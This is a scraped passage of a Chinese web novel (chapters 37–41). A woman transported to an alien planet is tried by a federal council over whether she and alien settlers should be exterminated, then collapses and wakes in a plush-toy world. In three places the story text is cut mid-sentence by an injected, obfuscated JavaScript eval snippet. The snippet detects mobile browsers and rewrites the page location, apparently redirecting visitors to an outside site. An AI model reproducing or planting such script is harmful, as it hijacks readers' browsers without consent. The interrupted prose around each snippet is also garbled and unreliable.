然而此时室内没有一个人去注意新的通报事件,众人面色各异,尤其汉克,目瞪口呆、不知所措的盯着李乐生。 “那……那是我的……”汉克身体微动,张嘴,喉咙却像堵着什么东西。 那是他的异能啊。 怎么会在李乐生的身上,这个低等物种明明没有异能啊! “我向来是很尊重同僚的,可惜,【联邦】的治安官们一直都自诩高人一等,还总干些不干不净的勾当。”李唯一表情淡漠,慢悠悠的出言讥讽。 似乎完全不在乎刚刚险些丧命的李乐生。 那只凭空出现的手臂此刻正拼命的挣扎着,似乎是像脱离,却被一股无形的力量强硬的控制着,根本挣脱不开。 它松开了手,那三棱刺刀却仍停在空中。 李乐生这时才反应过来,自己的眼睛并没有被刺伤,只是那刺刀贴着,占据了她右眼的世界。 回过神来的她带着砰砰直跳的心脏连忙后退了好几步,远离了那条手臂。 她的眼睛还泛着蓝色的防护衣。 李唯一等她退了几步,那三棱刺刀也掉在了地上,与此同时她左手手枪瞬间消失,只五指一把抓住那条手臂,狠狠一扯,竟凭空扯出一个人来。 一个穿着联盟专属的蓝色治安官队服的男治安官。 那人惊呼一声,被李唯一扯至身前,女人屈膝一顶,直接撞向对方的胸部。 只见那人被膝顶凹身,一声惨叫,便被李唯一甩到了一旁,直接撞到墙上摔下来。 血液自口腔鼻腔喷涌而出,那名治安官当场疼的呻吟不止。 紧接着一声枪响,“砰!” 无影的子弹没入那治安官的一条膝盖,再度引起一阵惨叫。 听的李乐生龇牙咧嘴,下意识地耸肩缩脖。 她想转头看,又被李唯一伸手抵住了脑袋,“血太多了,别看。” 李乐生乖乖不动。 仅凭简单几招将对方的行动能力限制住,李唯一回头看向闪耀几人。 几人的脸色都不怎么好看。 就连一直温和平静的闪耀此时都紧皱眉头,嘴巴紧闭,身侧的手都握成了拳头。 李乐生被身边的人轻轻拽了起来,她的心脏还跳个不停,耳朵里都能听到心跳的声音,甚至跳得过于急促,导致她胸口都有点疼。 右眼上的蓝色防护外衣消失,李唯一又将其拉在了自己身后。 “吓死我了…”忽然接触到李唯一的身体,对方那熟悉的体温传到她暴露在空中的手臂表皮上,让李乐生安心了不少。 她看着地上那道武器,低声道。 又忍不住看了一眼还在哀嚎的那人,果不其然看见了一地的血,连忙别过头去。 倒不是晕血,只是那人疼的面目狰狞,实在引人不适。 甚至她觉得疼在自己身上。 李唯一:“别怕,我活着你就不会死。” 女治安官轻扫了一眼那痛苦不止的治安官,回头看着闪耀,对视,“走吧,闪耀队长。” “该去参加联邦会议了。” 她并不打算大开杀戒,无论有没有【思想钢印】,她轻易不会取同僚的性命。 刚刚所谓的生死威胁,不过是一场心理博弈。 然而心理博弈还没出结果,对方就跟她耍起了前狼假寐盖以诱敌的战术。 不过这番偷袭并没让李唯一太生气。 她注重结果,或者说,她了解联邦这些治安官的行动风格,早有防备,没让他们得手,只撞碎了对方的胸骨给了个小小的教训,算是警告。 “警告!四分钟后召开在线联邦会议厅,请特遣队带领李唯一、李乐生二人前往【诺城治安部】二楼会议大厅!” 通报声音又响起。 李唯一拉着李乐生头也不回的离开了办公室。 闪耀身后的那名男治安官连忙冲去了受伤的人身边,闭上眼睛使用异能,为其治疗起来。 “治好后你们先回联邦,我带他们俩去参加联邦会议。”闪耀神情复杂的盯着那把三棱刺刀,似是想起了刚刚失败的偷袭,心中一颤。 李乐生眼睛上的那层防护外衣,她自然也没放过。 为什么那条低等的虫子可以使用汉克的异能? 闪耀忽而产生了丝迷茫。 38. 第 38 章 治安基地的警报声已经关停,唯有那通报每隔十秒便要响一声。 李乐生跟着李唯一一路往会议大厅的那栋楼去,才发现期间所见的治安部战士们,此时都静坐在原地未动。 有几人看到李唯一时,均都点头打招呼,没有说话。 “治安官的手环有麻痹电击的效果,被监管之后不能轻举妄动。”李乐生没问,但身边女人似是看透了她心中疑问,自觉开口解释。 李乐生点了点头,表示知道了。 难怪李唯一将自己的手环扯掉了,话说她的手环也是被李唯一扯掉的吧? 她记忆中,坐在沙发上的时候,手环还在手腕上待着呢。 因为李唯一外泄的精神力激起了她逃跑的本能,被女人抓回去后,又在沙发上又惊又惧又颤了好长时间,压根都不知道当时发生了什么。 比如纳德他们什么时候出去的,李唯一又同她说了什么? 自然也注意不到手环被扔到哪里去了。 二人一路赶到大厅二楼的会议厅,甫一开门,映入眼帘的首先是正对着大门的黑色椭圆长桌。 一个又一个投影正绕着长桌而坐,治安部部长安娜倒是本人前来,正坐在靠门口左边三位,正对着大门的那张座位上。 还有谢春花、沈佳妮和另一个李乐生觉得熟悉但又不认识的治安官,三个人分别坐在安娜部长的两侧。 长桌座位很多,加上那些立体投影,也没有坐满。 五个立体投影的人物分别穿着黑白配色的制服,他们的肩章都是金色圆形,上面画着厄斯星联邦的【X】标识,身高一样,发型都是黑色短发,头戴黑帽,每个人的脸部都是一串串流动的数字,不知其样貌。 只在他们的头顶,显示着各自的名字和职务。一共六个人影。 两个人走进门,李乐生这才看到,大门右侧的空地上,纳德、林和冬她们已经在这里了。 闪耀还站在她们三人附近,正歪着头,以一种疑惑不解的目光,打量着李乐生。 她为什么这么快?李乐生心中疑惑,但厅内已经有人开口了。 “诺城治安部执法区A组队长,李唯一。”说话的人是右边靠里一位的虚影,声音经过特殊处理,其中带着股电子音,听不出刚柔。 李乐生连忙将心中疑惑按下,跟着李唯一认真又不安的面对这场未知的会议。 她的目光落在那投影人的头顶,上面显示的是—— 【联邦总部监测长】 【绿森】 名字还挺好听。李乐生暗道。 “我在。”李唯一不卑不吭,平静回话。 “中央联邦已经收到了【诺城】的报告,并且确信属实,诺城异常者安定区内的非本土生物,布偶人蓬蓬在七日前和你的现任伴侣接触后就已经出现了异常,为何昨日隐瞒不报?” “你是对厄斯星拥有反叛心理吗?” 刚一开口,绿森就给李唯一扣了个疑似【星球叛徒】的帽子。 李乐生心中一紧,不由得抓住了李唯一的衣角。 李唯一:“我过往的工作记录完全可以证明我的清白,阁下怀疑我的忠心,完全可以花时间好好看看,而不是莫须有的扣我罪名。” 绿森闻言,沉默。 李乐生:这么刚? 右二位的投影人【联邦总部常务长】【维金】又开口,“我相信你的忠心,但是你打伤同伴,摧毁手环,拒绝配合执法是事实。其次……” 他的声音也和绿森一样,相同的处理器。 若不是在说话的时候,这些投影人会闪烁蓝光,凭这么大的空间传播声音,等到了李乐生耳中,这些相同的声线音色根本分不清是谁的。 “你的配偶在进入厄斯星后,由她所产生的直接异常、间接异常加起来,总共三场,其中布偶人出逃这一点,挑衅着我们整个星球全力研发并维护良久的监测系统和防护系统,这一点毋庸置疑。” “你要为了她的性命,葬送整个厄斯星吗?” 室内一片安静。 李乐生哪里见过这种场面,放在她原本的世界里,就是联合国五大常务来她公司开会决定怎么处理她。 她是真一点画面都不想给这些人。 奈何厄斯星的监控系统很全面,就像此时,两个人身边正飞着个拳头大小的监控机器人,也不知道要把她俩的监控画面要传到哪里去。 “除了【脑部假死】【布偶人出逃】,还有哪场异常?” 李唯一却发现了对方话中的疑点。 李乐生见状只觉吃惊,领导发问,不答反问吗? 有胆量。 维金听到她提问,没有说话,倒是旁边一直坐立难安良久的谢春花终于吐了口气。 看起来是憋了很久。 “第三波异常是关于【母树】的,不好意思,李队长,我发现的有点晚,但已经尽全力上报了。”她反倒是先给李唯一道了个歉。 在李乐生一头雾水的时候,谢春花调动眼前的工作台,手指滑动几分,下一刻,圆桌中央便出现了一副立体投影,正是树菌族繁衍区内的场景。 “母树的触条这几日一直在耸动,就像海草一样,偶尔会不受控制的摇摆,一开始我以为是【接受能量】时处理信息的常态,毕竟母树在接收信息累积到一定程度后,TA的树冠触条是会产生一些摇晃的。”谢春花说着,手指一动,出现了一个小型悬浮框,里面是一片黑色湿土,只是上面有一些类似树枝滑过的痕迹。 她又将其画面缩小,再缩小,那些痕迹逐渐有了轮廓。 李乐生讶异的发现,那些痕迹像文字,“TA在地上写下了李乐生的名字。” “这说明母树已经掌握了我们的语言,或者说,TA已经能够开始掌握我们的语言。” 事实上,这个线索是谢春花在李乐生她们离开后的第三天就发现的,但当时只是匆匆一瞥,因为这名字写的粗糙且很大,每个字都有两米多的占地空间,只站在地面上看,着实分辨不出来。 况且在第四天第五天的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095444|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为菌链的生长活动,使得湿土运动也将其痕迹掩埋了,她过后就忘记了这个小插曲。 直到昨天晚上,谢春花照例翻看以前的监控视频,试图破译母树的语言。在前几日,她再次与母树交流后,对方给了类似【eisen】发音的新声音。但死活没有破译出来,便想着查找监控,看看与母树交流的时候,母树是否有过其他活动,以前破译语言的时候,她就试过这种方法。 结果,看监控视频看到了今天一早,她忽然发现空景监控的画面里有个地方不对劲,她反复观看,才发现,李乐生的名字就在湿土上。 是母树写下的。 “我觉得这是好事,树菌族与我们合作多年,医学修复领域我们受益良多,此次TA熟悉了我们的文字书写方式,也离不开乐生小姐的功劳。”谢春花说这话时,是看着那些投影人的方向的,尤其是最中间那个投影人。 她义正言辞,“TA们古老但不古板,智慧但不傲慢,也没有攻击性,是十分善良和蔼的种族,愿意帮助我们一同研究突破时空枷锁的课题,无论母树写下乐生小姐的名字是何缘由,至少在种族交流这方面,是绝对有利的。” “所以,我不同意【抹杀指令】。” 谢春花的话回荡在整个会议厅里,在任何人都未曾提到但又心知肚明这个处理结果的时候,她率先提出了否定意见。 紧接着又说了句“以上”二字,结束了发言。 只留下母树的投影界面还在室内。 维金又开口,“闪耀,你觉呢?” 这位联邦总常务长将话题抛给了一旁的闪耀,长发女人的那双眼睛还落在李乐生的身上。 接收到维金的问题后,她立马开口。 “【诺城】的异常者安定区在建立之初,就饱受争议,当时诺城的前任治安部长和诺城管理者向联邦保证过,绝不会让安定区内的外星生物产生威胁,如果出现威胁,会第一时间将其抹杀。” 女人看了眼母树的投影,又把眼神转到了谢春花的身上,“谢治安官的意思是,要伴随着厄斯星防护系统的风险去研究和外星物种的交流么?” “如果风险成真,你能负责,能承担后果吗?”闪耀发问。 谢春花张了张口,却不知如何作答。 “闪耀队长这话说的实在不合逻辑。”沈佳妮摇头,嗤笑着。 众人的视线被她吸引。 她身材高大,长相属于野性张扬的风格,即便是面对着联邦总部的一群领导,也没个正形。 靠着椅子,昂着下巴,笑说,“即便是杀了李乐生,你又能如何保证,不会有第二个乐生小姐出现呢?” “你又如何保证,蓬蓬在此之后就不会逃跑呢?” “也许你想的很简单,只要把布偶人们统一抹杀,将所有异常行为者都杀掉,这样就不会出现异常了。” 沈佳妮的眼睛死死盯着闪耀,语气强势,“那如果日后其他外星生物也出现了这种【越狱】行为呢?” “要全杀个干净吗?” 39. 第 39 章 会议厅内陷入沉默。 联邦总部的上层投影无人开口,李乐生回看这个中央联邦的治安部总队长,对方正以一种迷惘不解的神态放空着,似是在思考,又似是在疑问。 那双灰色的眼睛半眯着,灰蒙蒙地似是铺了层水雾地花岗岩,总泛着股冷意。 “为什么要考虑外星种族的生命?”思索不过一分钟左右,闪耀开口,以问题回答。 “厄斯星的星球资源本就属于本土居民,这些外星种族闯入此地,是TA们的命运使然,又不是厄斯星所为。既然为星球带来了不可估量的潜在威胁,那就该在危险来临之前斩草除根,而不是养虎为患。” “如今既出现了异常,那就该一网打尽,异常者安定区正好借此关闭,将那些外星人全部诛灭。” 此话一出,大厅众人俱是一愣,连李乐生这个外星人都深感诧异。 她与异常者安定区的那些外星人其实并没有什么深厚感情,但是听了女人这段话,心底也不禁生出股渗人的畏惧来。 在她的世界中,也常有句古话叫做“非我族类,其心笔异”,便是排斥、疏远外族。 但断然没有这种,事情都未搞明,便要将那些外族全部杀掉的做法。 况且,在她这个时代的教育中,对这类偏执的思想早已不赞同不宣扬了,倒是强调着文化多元、求同存异的做法。 好巧不巧,闪耀说完这句话后,眼睛却又再次看向了李乐生。 李乐生连忙偏过头,不想与此人对视。 这人就这么轻飘飘的,丝毫不把外星种族的命放在心上,虽话语中没有丝毫激动、憎恨的情绪,但反让其他人更为心惊。 嘭! 桌子忽然被奋力一拍,李乐生闻声望去,就看到那个安娜身边坐着的眼熟的女人拍案而起,怒气冲冲的盯着闪耀,“闪耀队长怎么能这样对待安定区的居民!?” 李乐生越看越熟悉,却死活没想起来。 那女人言辞犀利,其中怒气不加掩饰,“如果没有我们诺城建立安定区收留那些外星物种,这么多年来,厄斯星的医疗生物科技怎么会发展至今?” “树菌族的菌链组织和TA们提供的菌种对我们医疗事业的贡献记录在案,断骨重塑,脑神经修复,基因编辑,这几项对厄斯星的发展举足轻重。” “如果不是树菌族提供了TA们的基因,我们星球居民的平均寿命怎么会拔高?星球人民的体骨又怎么可能拥有较之旧时代三倍的恢复能力?” “你一句轻飘飘的【全部毁掉】,只顾着你口里的星球资源,怎么不想想TA们为我们产生的助力?” 啊!想起来了!那女人字字句句,语气激动,案例分明,李乐生听着都能被带动情绪。 是【异常者安定区】常驻的治安官总负责人,朱莉·乔娜。 她没有和这位治安官面见交谈过,但是在查找异常者安定区的资料之前,有看到过这人的照片。 当时还感慨着,【诺城】的女领导可真多,而且还把这个城市治理的井井有条的。 “朱莉区长说的很对。”谢春花也加入了辩驳的阵营。 她的手在工作台上迅速滑出,调出了一个悬浮框,里面正是一堆【树菌族】的相关研究文件。 李乐生与其他人一样,均是抬头看着那些文件。 “树菌族的智慧已经不需要我多言了,其中有很多【有毒菌种】,但是至今一直没有在繁衍区内出现,这是为什么?我想不需要我在解释一边吧?”谢春花耸肩。 其他人自然知道其中答案。 树菌族出现在这个星球上的时间并不短,早在一千多年前就出现了,只是那时候还没有异常者安定区,【母树】生长于厄斯星中间地带的湿润地区。 刚开始时,治安官们都守着树菌族生活的外围,倒不是善良,而是因为无法抹杀,只能监管。 每当有治安官接到了抹杀命令后来此,却都会陷入迷惘的幻境,等他们意识清醒后,发觉全身的精神力无法使用,但是身体没有任何伤口,安安静静的躺着。 虽仍忌惮此种族,但经过多番查探,【诺城】上层便知晓,这个误入的种族是无害的,只想和他们本土星球的居民相安无事共同生存。 并且,很欢迎本土星球的人进入树菌族的树菌丛里参观,交流。 TA们并不会说话,但是菌菇的摆动、身体的缩小变大、菌链之中的滋滋声响,都可以用来表达情绪。 故而,厄斯星上出现了第一批被允许活着的种族。 后来由于一个厄斯星人濒死之际被母树所救,他全身骨头都重组如新生,甚至身体的活性细胞都被加强了,代谢功能与能量转化更加活跃,这就说明,受伤后的愈合功能更强大了。 也是从那时起,【联邦】中的某些派系产生了与树菌族合作的想法。 之后又是经过多次的会议探讨,在研究之中更是有无数的新发现。 【母树】与【子菌】的秘密被揭开,子菌的种类也被一一记录,同时,治安官与母树互相合作,在【诺城】建立了树菌族的隔离区,之后,又逐渐多了更多外星种族的隔离区,这才形成了【异常者安定区】。 其中,对于树菌族的研究越来越细致,厄斯星这才知晓,【母树】对于厄斯星这座星球的宽容慈爱。 树菌族中的【有毒菌种】至少有上千种,其中有许多菌种,只需要小小一颗,当TA们释放体内的毒素时,几乎能够瞬间杀死以自身为圆点,半径百米的圈内生物。 更不用提,很多有毒菌种的毒素一旦释放,如果没有母树下达回收指令,那些毒素是无法被厄斯星排解稀释的。 尽管母树并没有掌握厄斯星的语言,但TA的这种【未掌握】却更像是一种神与人的绝对差异。 厄斯星对树菌族来说,就像是有限的智慧面对无限的智慧,他们的语言在树菌族眼里,就像是蚂蚁的行动符号,并不需要可以去掌握。 而至今为止,这些【有毒菌种】从没有诞生,或者说,没有茁壮生长,只有一个个【菌种】像未破的蛹一般藏在繁衍区内。 是因为,【母树】下达了指令—— 母树没有激活TA们的生命思维。 这是母树这个高智慧体对厄斯星这颗星球和这颗星球生灵的疼爱。 “母树对我们一直很友好,可以说,在她的眼中,我们也是她的孩子。” “她无私的奉献着一切希望能帮助我们,即便当初的我们对她怀有杀意,可是从没有一个治安官死在她的手中。” “我们恩将仇报?是否有些不近人情?” 谢春花的情绪比之朱莉,倒没有那么激动,但其话中的不退让也很明显,颇有一种软刀子的感觉。 谈及母树,在场众人或多或少都有赞同之色。 一直没有发言的安娜部长都觉得言之有理,点了点头。 “那就留下母树不就好了?”闪耀觉得这个问题很好解决,留下有利的,将那些侵占资源的、患有隐患的全部杀掉,岂不是两全其美? “闪耀,先停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104666|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。”特殊处理过的声音响起,是其中一个投影人在说话。 【联邦总部检测长】 【绿森】 “安定区的这两位说的有道理,全部抹杀的方式不可取,树菌族对我们星球,尤其是对我们的人类社会提供的帮助难以估量。”绿森一改之前对李唯一的逼问,此刻却很平和。 “我们不得不承认,安定区内的很多外星种族的确占用了星球资源生存,但很多种族与我们的交流还不频繁,也没有太多进展,难保以后不会出现其他助力。” “况且,今日之事,主要审判者是这位地球生物。” 话题又被绿森掰回到了李乐生身上。 于是所有人的目光又看向了李乐生。 李乐生自己都忘了她此行的目的,现下被绿森这么一提醒,不由得有一种置入梦中的悬浮感。 她心想,好么!原来不管哪个世界都是一样的草台班子。 连这么高层次的会议都能偏题,审着审着审到安定区的居民身上去了,这但凡是一场直播,都算是重大事故了。 她还有什么可自卑的? 手被一股灼热包裹,是李唯一的手。 对方在安抚她。 李乐生轻轻捏了对方的手指,算是回应。 “从资料中,我们已经知道,李乐生来自于银河星系十万四千九百三十八元年的时空。”另一个投影人开口了。 是左侧一位。 【联邦总部执行长】 【沃特】 随着沃特发言,会议厅正上方的母树影像被撤回,取而代之的是李乐生的各类信息,包括地球。 那颗蓝色的星球在宇宙中缓缓旋转,太阳恒星正发着炽热耀眼的光芒,周围的行星们也在按照规律运动。 “无论是这个时空,还是这颗星球,对我们而言都是极为落后的,所有的资源都不值得我们去研究。” “李乐生身上也没有任何研究价值,我的建议是抹杀。” 沃特发言很是果断,就像是一个商家在衡量刚收到的货物,发现这货物只是毫无用处的废铁,于是拒收了。 不对,不是拒收了。是给砸了个稀巴烂。 因为他也没办法原路退货。 李乐生直接笑出了声。 她觉得自己疯了,别人现在明确说出要杀她了,她反倒没那么害怕了。 “噗!” 女人嗤笑的声音在会议厅内响起,实在明显,引得其他人都看了过去。 “李乐生,你笑什么?”沃特发问。 投影人转过头来,但是因为脸部被数字信息模糊了,所以李乐生并不知道对方的神情。 到底是单纯的疑惑?还是带有怒气的质问? 她也听不出来,但都是疑惑。 “抱歉抱歉!我想到了个特别奇怪但又很好笑的事情,不是故意的。”李乐生越说越想笑,还不忘记跟对方继续表达谢意,“谢谢你哦,还愿意称呼我的名字。” 没有在交谈中称呼她为“地球生物”,还怪有礼貌的呢。 李乐生此时的大脑异常活跃,思维杂乱,她自己都有些控制不住所说所想。 她隐约有一种奇怪的情绪,她觉得有什么东西一直在脑子里响,搞得她特别想要冲出去。 可具体是冲去哪里?她又浑然不知。 李乐生眨了眨眼,忽而愣住。 眼前的景致不再是审判她的会议厅,而是一片……很奇怪的土地。 哎?她整个人彻底懵了。 40. 第 40 章 李乐生不知道该如何形容这个地方。 怪异么? 她的脚下踩着的是一望无际的棕色毛绒地毯,不,或者说,她所踩的地表环境是毛绒绒的、厚实的构造,触感就像是穿着鞋子踩在厚厚的床垫上。 她的鞋子陷进去了一部分,等她抬起脚后,被踩出来的凹陷部位便开始回升。 她眨眨眼睛,不可置信的走了几步,看到身后留下来的几个脚印,约莫十秒钟左右,被踩出的痕迹迅速回弹。 她的鞋底沾着灰尘,踩过的地方虽然恢复如初了,但是灰尘令她留下了几个脚印的痕迹。 甚是明显。 她来不及愧疚自己给这片干净的毛绒地面留下的灰尘。 当务之急是观察周围,判断到底出了什么事? 抬头,周围的树木大小不一,但是都有着一种很诡异、很标准的模样。 树干是粗粗的棕色偏黑的毛线绳,叶子是各种颜色的绒球。 一阵风吹过,李乐生看到那些绒球叶子在轻轻摇晃,相互碰撞,发出沙沙的摩擦声,在那些树下,围着树干的地面上钻出一簇簇“毛线草”,一个个卷成圆圈状躺在树旁。 李乐生觉着,应该很好摸。 不对!这是哪儿? 李乐生摇摇头,皱着眉头看着四周,她似乎正在一片树林中,左看右看,都见不到第二个人,甚至连一个小动物、一个虫子都没见到。 话说这里有生物吗?就算是有生物的话,也是毛绒绒的吧? 毛绒绒的……布偶人!? 李乐生心中一闪而过蓬蓬的身影,眼睛不由自主地放大。 难道说是蓬蓬把她搞过来的? 这个不懂事的布偶人越狱牵连她,现在还把她从李唯一眼皮子底下带走了? 李乐生越想越觉得不对劲,她抓着李唯一的手,会议上也没有蓬蓬的身影,连那只小狐狸都没有,怎么做到的? “蓬蓬?”尽管想不明白,但李乐生还是试探地叫了一下蓬蓬的名字。 她并不能百分百确定是蓬蓬干的,不过这种环境,应该只有布偶人才会喜欢吧? 好吧她其实也挺喜欢这种可爱的毛绒世界的。 但是这种地方很难不让人将其与布偶人联系起来。 没有回应。 甚至也没有任何身影出现。 李乐生只好走了几步。 她看到很多毛绒树上挂着的球都不一样,有的绒球叶子就是单纯的小球,有的则是毛线缠绕编织的手掌般大的星星、圆圈、弯月等,种类、颜色都很多。 只是树干的颜色永远都是不变的棕黑色。 她踩着这偏软的土地,不紧不慢的在这林中行走,双眼不停的扫视周围,偶尔驻足观察见到的新型的毛绒植物。 走了许久,都没有见到除她以外的“活物”。 她甚至听不到声音。 周围很安静,她踩在地上走路,也发不出什么声音。 伴随着行路时间越来越长,李乐生心中的焦虑逐渐增多,对于这个新奇世界的探究感则缓缓消逝,走到最后她的目标便成了寻找活物,至于周围的植物,也没有什么心思去观察了。 可惜的是,走的她已经习惯了这片土地的触感,都没有找到可以交谈的活物。 这片静止的、毛绒绒的林子,都是死的。 蓬蓬至少还会动呢。李乐生想。 她靠着一棵树坐了下来,树木的主干也是软软的,靠着还挺舒服。 “难道是谁的异能吗?”她思考。 闪耀施展的?让她进入了这种幻境? 李唯一应该不会让她得手的。 “老天奶啊!来个人,来条狗也行啊!告诉我这里到底是哪里?现在这个情况又是怎么回事啊?”李乐生叹气,生无可恋的栽到地上,怨道。 又叹了口气,眨眨眼睛。 女人从地上爬起来,开始在自己身上掏来掏去。 上衣下裤四个兜里掏干净了都没有什么东西。 她下意识地掀开袖子,想着能不能用手环查查,结果光秃秃的手腕让她如梦初醒,哦,手环好像被摘掉了。 “我靠!不是吧。”李乐生有些绝望。 她隐约间其实已经有了一种猜想,她应该是又莫名其妙的穿越了。 但是这次穿越未免更惨了,浑身上下就一套衣服,她来厄斯星的时候好歹还带了部手机呢! 虽然手机的通讯功能全部都用不了,但是本地下载的那几首歌好歹还能播放啊,也能拍照啊。 早知道就不该把手机扔床头柜里不闻不问,就该每天都给它充满电带身上,顺便下载一堆电子书,也不至于二次穿越过来后这么无聊。 叫天天不灵,叫地地不应,身上还空无一物,她跟个无头苍蝇有什么区别? 想摆烂等死都觉得折磨。 到底谁在给她做局? 她不就是辞了个职么?还是被公司单方面辞退的。 n+1补偿都还没打到卡上,就穿越了,还穿两次? 谁能禁得住这么整啊?让她穿回地球也比来这强啊! 哎?李乐生抓着头发发牢骚,忽然想起一件事来。 “厄斯星不能出去啊……” 不管是游戏背景,还是穿越后的世界,有一个事实是不变的—— 厄斯星被困在了逃亡的时空维度里,一旦进入,无论任何方法都是出不去的。 不管是使用时空穿梭的功能,还是单纯的驾驶宇宙飞行器,都行不通的。 她当初留在李唯一身边,也是这个原因。 李乐生回过神来,脑子里更是成了浆糊。 所以她不是穿越……那到底是什么? 不会是她已经被抹杀了吧!!!!!李乐生慌里慌张的检查着自己的身体,双手从头顶一直摸到小腿,又撩袖子又撩裤腿,还摸了摸脖子,实在没看出什么伤口。 难道说死了来天堂了?可她怎么死的?她完全没有印象啊? 她还在和那个叫沃特的联邦领导说话,没察觉到有人动手杀她啊。 “但话又说回来,这群超人类杀我跟杀蚂蚁一样,我真能察觉到吗?”李乐生猜想自己可能是受到【临终关怀】。 就像犯人执行上路之前,总会吃顿好的。 厄斯星科技那么发达,说不定就是毫无预兆的将她抹杀,让她临死前都反应不过来。 “就不能让我先吃顿好的?”李乐生愤愤不平道。 那李唯一又是什么反应,会不会很伤心?还是说已经在禁闭室里待着了? 她可没忘记李唯一打伤了联邦的治安官,还摧毁了好多东西,绝对要受罚的。 “至少让我和李唯一说句道别的话吧?”李乐生又愤愤不平。 真不讲道理,趁她说话的时候要她小命。 可是问题来了,这里真的是天堂的话,怎么就只有她一个? 李乐生觉得凭自己的生平,应该不至于下地狱,她可是个上网都不会隔着屏幕骂人的好宝宝。 她只会拉黑加举报。 觉得不解气了,就拿小号多举报一次。 —— 意外之所以被称为意外,便是因其无法预料,毫无征兆。 李唯一感觉到自己牵着的那只手忽然出现了异样,她几乎是同时回头,伸手捞住了女人倒下的身子。 将女人紧紧抱住,没让对方撞在地上。 李唯一心脏跳得厉害,那股本能般的恐慌让她用口急促呼吸着。 这时,她忽然意识到一件事—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110750|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李乐生失去意识了。 白发治安官的另一只手扶着李乐生的脑袋,让其原本后坠的头抬起,入目所对的是那双棕黑色的、放空的眼睛。 像是一具死不瞑目的尸体才会有的眼睛。 变故突发,整个会议厅都没反应过来这俩人出了什么事。 “乐生?”李唯一出声,声音发颤,带着恐惧。 没有回答。 “怎么了?”安娜紧张地站起,看着学生的背影。 身两侧的谢春花和沈佳妮先后离桌,急忙跑到了李唯一身旁。 只见到躺在李唯一怀中的……那具躯体。 女人那头黑发垂在空中,厅内的流动气流吹拂着发尾,睫毛下的那双眼睛此时没有任何焦点,倒变成了死气沉沉的镜子,映照着李唯一的脸,但却不再生动。 她嘴角微微张着,似是要呼出最后一口气,却被瞬间冻结,唇瓣之下还能看到那两排洁白小巧的牙齿。 “我看看她。”沈佳妮试探的伸出手,李唯一没有阻止。 也不知是沉浸在自己的情绪里没有听到,还是真的允许了。 但目前还没有从对上身上察觉到那股恐怖的压迫感,而且,她相信李唯一不会无缘无故就对她们出手。 她的手摸上李乐生的手臂,撩起对方的袖子,握着女人的手腕处。 皮肤温度尚在,脉搏也在。 谢春花见状也伸出手指轻触着李乐生的脖颈,颈动脉也在跳。 嘶嘶…… 蛇信声忽然从四面八方的声音响起。 “她还活着!”谢春花连忙出声,声音很大,颇有一种绝命逃亡时又见生机的欣喜,“李唯一,你先清醒一点。” “和上次的情况一样,她的躯体还活着,心脏依旧在跳,她没死。只是——” 谢春花的话戛然而止,倒不是因为李唯一。 李乐生之前出现这种【脑部假死】,她们都没有搞清楚病因,也没有搞清楚对方怎么恢复的。 她完全没有把握向李唯一保证李乐生能醒来。 “去医院。”白发女人将怀中的人搂紧,连身边人看都未看一眼,只抛下这三个字,眨眼之间,她便抱着李乐生消失在原地。 “哎!”谢、沈二人完全没预料到李唯一的动作如此之快。 什么时候启动跃迁权限的啊? 然而这问题只在两人心中冒出一秒,没人敢问。 “我不同意抹杀指令,各位,我们先去治疗病情了。”在二人启动手环中的跃迁权限时,沈佳妮还不忘回头冲会议桌的几人表达自己的意见。 二人的身影迅速化作片片光影,消失在原地。 一时间,整个会议厅都没了声响。 安娜站在原地,脸色略有些难看,右手握拳,她回头冲着几个投影人微微一笑。 “很抱歉,她们似乎出了状况。” “闪耀,你跟过去。”维森并没有理会安娜,只吩咐着联邦的手下。 却没有得到回应。 几人不约而同看过去,就看到这位联邦治安处的总队长正盯着前方出神,正是李唯一消失的地方。 闪耀脸上更是迷惘不解:为什么? 她又多了一层疑惑。 为什么李唯一可以使用瞬间移动?这明明是她的副官的异能。 李唯一的信息报告上,明明是造物啊。 “闪耀!”上司的声音忽然响起。 闪耀连忙转过头,看向会议桌。 “去跟上,随时汇报情况。”维森没有询问她为什么发呆,再次下达了命令。 “是!”闪耀立马点头,低头启动手环的跃迁权限。 这个任务正合她心意。 李唯一和李乐生身上实在是有太多她不明白的点了。 41. 第 41 章 重症监护室内。 李乐生被女人轻轻放在病床上,随后她的额头、手臂被贴上不同的检测仪器贴。 病床尾部的设备屏幕启动,关于李乐生身体的各项数值均在上面显示。 心电监护、呼吸参数、血流动力、体温监测,通通是正常的。 唯独脑功能这一项,和之前一样,数值为零,数据图自然也毫无波动。 